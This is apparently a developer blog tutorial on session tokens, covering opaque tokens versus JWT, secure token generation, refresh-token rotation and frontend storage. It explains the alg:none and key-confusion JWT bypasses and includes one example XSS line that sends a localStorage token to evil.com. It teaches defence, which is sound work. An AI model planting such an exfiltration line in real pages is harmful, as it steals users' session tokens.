Session Tokens: The Digital Badge That Authenticates Every Request
From opaque tokens to JWT with refresh token rotation, understand how session tokens work across backend, database, and frontend -- with full implementation.
Thiago Saraiva

Mental model: Think of a session token like a wristband at a music festival. The gate (server) issues it after checking your ticket, you flash it at every stage you enter, security can tear it off at any time, and it expires when the festival ends. The wristband itself isn't your identity, it's proof that someone trustworthy already verified it.
You log in once and browse for hours without typing your password again. Behind that convenience sits a precise mechanism: the session token, a digital badge you present with every request to prove you've already been authenticated.
How you generate, store, and validate that token is the difference between a secure system and a data leak waiting to happen.
Opaque Token vs JWT: When to Use Each
Opaque Token is a random ID (like a3f8c2b1-9d4e...). The server stores the session data (Redis/DB) and the token is just a reference. Revocation is instant, just delete the key.
JWT is self-contained: the token itself carries the data (userId, role, expiration). The server doesn't need state. But revocation is painful because the token stays valid until it expires.
JWT + Refresh Token is the modern standard: short access token (15 min) in memory, long refresh token (7 days) in an httpOnly cookie. Best of both worlds.
Quick comparison:
| Aspect | Opaque Token | JWT |
|---|---|---|
| Size | Small (~64 chars) | Large (300+ chars) |
| Server state | Required (Redis/DB) | None |
| Revocation | Instant (delete row) | Hard (needs blocklist) |
| Payload readable | No | Yes (Base64, not encrypted) |
| Network cost per request | Low | Higher |
| Best for | Monoliths, classic web apps | Microservices, SPAs, mobile |
When NOT to Use JWT
JWT is trendy, but it's overkill more often than people admit. Skip it when:
- You have a single backend. If no other service needs to validate the token independently, an opaque token with Redis is simpler, smaller, and revocable on demand.
- You need instant logout or ban. JWTs live until they expire. If a user is compromised at 14:00 and the token expires at 14:15, that's a 15-minute window of pain, unless you build a blocklist, at which point you've reinvented opaque tokens, worse.
- You want to store sensitive data in the token. Don't. The payload is Base64, not encrypted. Anyone with the token reads it.
- Your payload changes frequently (roles, permissions). The JWT carries stale data until refresh.
Rule of thumb: start with opaque tokens. Move to JWT only when you feel the pain of stateless validation across services.
Generating Tokens Securely
This matters more than it looks: Math.random() and uuid v1 (timestamp-based) are predictable. With a few sample tokens, an attacker can reconstruct the PRNG state and predict the next ones.
Analogy: Math.random() is a lock whose key shape depends on the current time. If I know roughly when you cut it, I can file a matching key. crypto.randomBytes() is a key cut from a truly random blank, no pattern to guess.
War Story: The alg: none JWT Bypass
In 2015, Tim McLean disclosed a devastating flaw in multiple popular JWT libraries (CVE-2015-9235, written up by Auth0): if a token arrived with its header set to "alg": "none", several libraries happily accepted it as valid, no signature check at all. An attacker could forge a token claiming {"userId": 1, "role": "admin"}, drop the signature entirely, and walk right in as anyone.
The fix is brutally simple and still relevant today: always pin the algorithm explicitly in jwt.verify(). If you let the library "figure it out" from the header, you're trusting the attacker's input.
The same lesson repeated in 2018 with the HS256 vs RS256 confusion (CVE-2016-10555 and friends): libraries that accepted an RSA public key as the HMAC secret let attackers sign their own tokens with the publicly known key. Moral: never let the token tell the server how to validate itself.
Full Implementation: Login with Opaque Token
JWT with Refresh Token Rotation
The pattern I recommend for SPAs:
Crucial points:
- The JWT payload is not encrypted, only Base64-encoded. Paste any JWT into jwt.io and you'll read the claims in plain text. Never put sensitive data in it.
- Always specify
algorithms: ['HS256']injwt.verify(). Without this, the attacker can send"alg": "none"and bypass verification. - Store the refresh token as a SHA-256 hash. If the database leaks, the attacker walks away with hashes, not live tokens.
Think of the access token as a day pass and the refresh token as your membership card. The day pass is cheap to replace and expires fast. The membership card lives in a safe (httpOnly cookie) and only comes out to issue a new day pass.
Refresh Token Rotation (theft detection)
With every use, the old refresh token is revoked and a new one is issued. If a revoked token is reused, it's almost certainly an attack:
Why this works, the hotel keycard analogy: every time you use your card, the front desk issues a new one and kills the old. If someone clones your card and uses the old copy after you've already refreshed, the system sees a dead card being presented and knows something's off. It then burns every card on that account and forces a fresh login.
Visual flow:
Client Server DB
|-- refresh(RT_v1) ------>| |
| |-- lookup(RT_v1) ------>|
| |<-- valid, not revoked -|
| |-- revoke(RT_v1) ------>|
| |-- insert(RT_v2) ------>|
|<-- AT_new + RT_v2 ------| |
| | |
[attacker replays RT_v1] | |
|-- refresh(RT_v1) ------>| |
| |-- lookup(RT_v1) ------>|
| |<-- REVOKED ------------|
| |-- revoke_all(user) --->|
|<-- 401 SECURITY_BREACH -| |
Frontend: Interceptor with Request Queue
When the access token expires, a dashboard might fire 8 parallel requests that all 401 at once. Without a queue, the frontend triggers 8 simultaneous refreshes, racing each other and burning rotation slots:
Picture the airport security line when the scanner breaks: you don't let every passenger sprint to a different lane. One person goes to fix it, everyone else waits in a single queue, and once it's back the whole line moves. That's isRefreshing + failedQueue.
Where to Store the Token on the Frontend
- httpOnly Cookie: most secure. JS can't read it. Use for refresh tokens and session IDs.
- Memory (JS variable): secure, but lost on page refresh. Use for JWT access tokens.
- localStorage: vulnerable to XSS. Avoid for sensitive tokens.
If an attacker lands a single XSS payload on your page and your token lives in localStorage, they exfiltrate it in one line: fetch('https://evil.com?t=' + localStorage.token). With httpOnly cookies, that line returns undefined.
FAQ
Can I just use the same secret for access and refresh tokens? No. Use separate secrets. If one leaks (say, an access secret exposed in a log), the other still protects refreshes. Defense in depth is cheap here.
How long should my access token live? 5 to 15 minutes is the common range. Short enough that a stolen token expires fast, long enough that you're not refreshing every other request.
If JWT can't be revoked, how do I log a user out?
Delete the refresh token server-side and clear it from the cookie. The access token dies on its own within minutes. For instant kill, maintain a small blocklist of revoked JWT IDs (jti claim) checked on each request, yes, this adds state, which is the trade-off.
What's the right secret length, and where do I store it?
For HS256, use at least 256 bits (32 bytes) of random data: openssl rand -base64 32. Anything shorter is brute-forceable offline. Store it in an environment variable or secrets manager (Vault, AWS Secrets Manager), never in the repo, never in a .env you commit by accident.
Do I need CSRF protection if I use JWT in an Authorization header? No, CSRF exploits automatic cookie sending. A header set by your JS isn't attached to a forged form submission. But the moment you switch to cookie-based auth, CSRF is back on the menu.
Key Takeaways
- Use
crypto.randomBytes(32)to generate tokens, neverMath.random() - Opaque tokens for apps with server-side sessions, JWT for APIs/SPAs
- Refresh token rotation is essential, it detects theft automatically
- Store refresh tokens as SHA-256 hashes in the database
- Cookies with
httpOnly,secure,sameSite=strict - Access token in memory, refresh token in httpOnly cookie
- The interceptor with request queue prevents race conditions on refresh